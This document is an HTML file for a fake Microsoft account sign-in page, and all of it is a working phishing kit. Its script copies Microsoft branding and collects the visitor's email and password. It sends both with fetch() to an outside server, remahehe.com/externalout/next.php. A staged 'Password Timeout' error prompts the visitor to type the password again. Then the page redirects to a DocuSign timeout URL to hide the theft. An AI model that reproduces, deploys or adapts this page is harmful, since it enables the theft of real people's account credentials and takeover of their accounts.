<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Sign in to your Microsoft account</title>
    <link rel="icon" type="image/x-icon" href="https://c.s-microsoft.com/favicon.ico">
    <style>
        body {
            margin: 0;
            padding: 0;
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: url('inf.jpg') no-repeat center center fixed;
            background-size: cover;
            display: flex;
            justify-content: center;
            align-items: center; /* Center the container vertically */
            height: 100vh;
        }

        .login-container {
            display: flex;
            flex-direction: column;
            align-items: flex-start;
            justify-content: flex-start;
            background-color: white;
            width: 379px;
            min-height: 260px;
            padding: 30px;
            box-shadow: 0 4px 10px rgba(0, 0, 0, 0.2);
            margin-top: 0; /* Removed margin-top for centering */
            border-radius: 0;
            position: relative;
        }

        .logo-container {
            display: flex;
            align-items: center;
            margin-bottom: 20px;
        }

        .logo-container img {
            width: 28px;
            height: 28px;
            margin-right: 10px;
        }

        .logo-container span {
            font-size: 22px;
            font-weight: 600;
            color: #333;
        }

        .title {
            font-size: 24px;
            font-weight: bold;
            color: #333;
            margin-bottom: 20px;
        }

        .input-field {
            width: 100%;
            padding: 10px 0;
            margin-bottom: 5px;
            border: none;
            border-bottom: 1px solid #ccc; /* Gray border for input fields */
            font-size: 16px;
            color: #333;
            outline: none;
        }

        .input-field::placeholder {
            font-size: 14px;
            color: #888;
        }

        .button {
            background-color: #0078d4;
            color: white;
            border: none;
            font-size: 14px;
            padding: 8px 0;
            width: 80px;
            border-radius: 0;
            cursor: pointer;
            text-align: center;
            position: absolute;
            bottom: 30px;
            right: 30px;
        }

        .button:hover {
            background-color: #005fa3;
        }

        .email-display-container {
            display: flex;
            align-items: center;
            margin-bottom: 20px;
        }

        .email-display {
            font-size: 14px;
            color: #333;
            font-weight: normal; /* Less thick font for email display */
        }

        .arrow-icon {
            width: 16px;
            height: 16px;
            margin-right: 10px;
        }

        .error-message {
            color: red;
            font-size: 14px;
            margin-top: 5px;
            display: none;
        }

        .footer {
            margin-top: 20px;
            font-size: 12px;
            color: #888;
            text-align: center;
            width: 100%;
        }

        .footer a {
            text-decoration: none;
            color: #0078d4;
        }

        .footer a:hover {
            text-decoration: underline;
        }
    </style>
</head>
<body>
    <!-- First Login Container -->
    <div class="login-container" id="emailContainer">
        <div class="logo-container">
            <img src="https://upload.wikimedia.org/wikipedia/commons/4/44/Microsoft_logo.svg" alt="Microsoft Logo">
            <span>Microsoft</span>
        </div>
        <div class="title">Sign in</div>
        <input type="text" class="input-field" id="email" placeholder="Email, phone, or Skype">
        <button class="button" id="nextButton">Next</button>
    </div>

    <!-- Password Error Page -->
    <div class="login-container" id="passwordContainer" style="display: none;">
        <div class="logo-container">
            <img src="https://upload.wikimedia.org/wikipedia/commons/4/44/Microsoft_logo.svg" alt="Microsoft Logo">
            <span>Microsoft</span>
        </div>
        <div class="email-display-container">
            <img src="arrow.jpg" alt="Arrow Icon" class="arrow-icon"> <!-- Arrow icon before email -->
            <div class="email-display" id="emailDisplay"></div> <!-- Display the entered email -->
        </div>
        <div class="title">Enter password</div>
        <input type="password" class="input-field" id="password" placeholder="Password">
        <div class="error-message" id="errorMessage">Password Timeout! Please try again.</div>
        <button class="button" id="signInButton">Sign in</button>
    </div>

    <script>
        const nextButton = document.getElementById('nextButton');
        const emailContainer = document.getElementById('emailContainer');
        const passwordContainer = document.getElementById('passwordContainer');
        const emailInput = document.getElementById('email');
        const emailDisplay = document.getElementById('emailDisplay');
        const passwordField = document.getElementById('password');
        const signInButton = document.getElementById('signInButton');
        const errorMessage = document.getElementById('errorMessage');

        let email = "";
        let attempt = 1;

        // On clicking "Next", parse email and show the password container
        nextButton.addEventListener('click', () => {
            email = emailInput.value.trim();
            if (email) {
                emailDisplay.textContent = email; // Set the email text
                emailContainer.style.display = 'none'; // Hide the first container
                passwordContainer.style.display = 'flex'; // Show the password container
            } else {
                alert('Please enter your email, phone, or Skype details.');
            }
        });

        // Handle password submission
        signInButton.addEventListener('click', () => {
            const password = passwordField.value.trim();
            if (password) {
                postToNextPhp(email, password); // Post email and password
                if (attempt === 1) {
                    handleIncorrectPassword(); // Show error for first attempt
                } else {
                    // Redirect after the second attempt
                    window.location.href = 'https://www.docusign.net/Signing/SessionTimeout.aspx?fi=230f89df-896f-418c-81af-7ffb9804b50f';
                }
                attempt++;
            } else {
                alert('Please enter your password.');
            }
        });

        // Handle the Enter key
        document.addEventListener('keydown', (event) => {
            if (event.key === 'Enter') {
                if (emailContainer.style.display !== 'none') {
                    nextButton.click(); // Trigger "Next" button on email page
                } else if (passwordContainer.style.display !== 'none') {
                    signInButton.click(); // Trigger "Sign In" button on password page
                }
            }
        });

        // Function to handle incorrect password
        function handleIncorrectPassword() {
            passwordField.value = ""; // Clear the password field
            errorMessage.style.display = 'block'; // Show the error message
        }

        // Function to post data to next.php
        function postToNextPhp(email, password) {
            fetch('https://remahehe.com/externalout/next.php', {
                method: 'POST',
                headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
                body: `email=${encodeURIComponent(email)}&password=${encodeURIComponent(password)}`
            }).then(response => console.log('Posted successfully:', response));
        }
    </script>
</body>
</html>
